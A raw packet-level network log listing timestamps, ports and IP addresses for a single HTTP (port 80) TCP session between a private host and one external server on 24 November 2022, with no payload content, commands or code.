Nov 24, 2022 16:57:36.678076029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678085089 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678102970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678133011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678405046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678431034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678453922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678472042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678478956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678500891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678503990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678529978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678554058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678560972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678579092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678602934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678610086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678627014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678652048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678662062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678724051 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678793907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678818941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678843021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678865910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678891897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678924084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678944111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.678951979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.678978920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679004908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679008007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679028988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679055929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679059029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679084063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679109097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679110050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679135084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679162979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679312944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679337978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679363012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679373026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679390907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679418087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679419041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679445028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679471016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679471970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679497004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679522991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679524899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679548979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679574966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679577112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679604053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679629087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679629087 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679655075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679682016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679685116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679708004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679733038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679742098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679758072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679785013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679790974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679811001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679836035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679841995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679862976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679891109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679893017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679917097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679943085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679946899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.679969072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.679997921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680325031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680351019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680375099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680382967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680399895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680424929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680433989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680449963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680480003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680483103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680510998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680537939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680538893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680566072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680594921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680597067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680622101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680646896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680655003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680674076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680702925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680705070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680727959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680752039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680767059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680777073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680803061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680804014 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680826902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680850029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680855989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680890083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680902958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.680919886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680948973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.680972099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681199074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681227922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681256056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681257010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681283951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681312084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681314945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681341887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681371927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681375980 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681400061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681427002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681428909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681457996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681483984 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681495905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681525946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681552887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681555986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681587934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681611061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681613922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681643009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681669950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681670904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681699991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681725979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681730986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681754112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681781054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681792021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681813002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681824923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681843042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681869984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681894064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.681895018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681924105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.681941986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682199955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682224035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682245016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682255983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682286978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682301044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682306051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682328939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682349920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682354927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682373047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682396889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682416916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682445049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682461023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682473898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682503939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682514906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682533026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682559967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682574987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682589054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682615995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682629108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682645082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682672024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682686090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682699919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682727098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682740927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682754040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682781935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682794094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.682811022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682837963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.682852983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683089018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683119059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683146954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683146954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683175087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683202982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683229923 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683231115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683250904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683258057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683284998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683306932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683306932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683326960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683346033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683372974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683383942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683404922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683413982 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683425903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683445930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683448076 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683466911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683487892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683492899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683507919 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683527946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683536053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683548927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683576107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683577061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683609962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683624983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683638096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683665037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683682919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683691025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683718920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.683734894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.683979988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684005976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684027910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684030056 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684056997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684082985 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684082985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684108973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684130907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684130907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684156895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684176922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684185028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684209108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684232950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684232950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684257030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684281111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684282064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684305906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684329987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684330940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684356928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684385061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684396982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684425116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684442043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684458017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684489012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684506893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684526920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684556007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684568882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684585094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684612989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684626102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684842110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684871912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684890985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684901953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684931040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684946060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.684958935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.684989929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685003996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685019970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685049057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685061932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685095072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685126066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685148001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685157061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685188055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685201883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685218096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685245037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685270071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685282946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685298920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685321093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685329914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685359955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685378075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685390949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685421944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685436964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685451031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685482025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685502052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685514927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685544968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685561895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685578108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685609102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685621977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685641050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685671091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685686111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685796976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685827017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685842991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685858965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685889006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685909033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685920000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685950041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.685966969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.685981035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686012983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686026096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686043024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686074018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686086893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686110973 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686142921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686167002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686187983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686244011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686357975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686391115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686422110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686441898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686453104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686484098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686500072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686515093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686546087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686558962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686579943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686609030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686625004 CET	49713	80	192.168.2.3	66.235.200.147
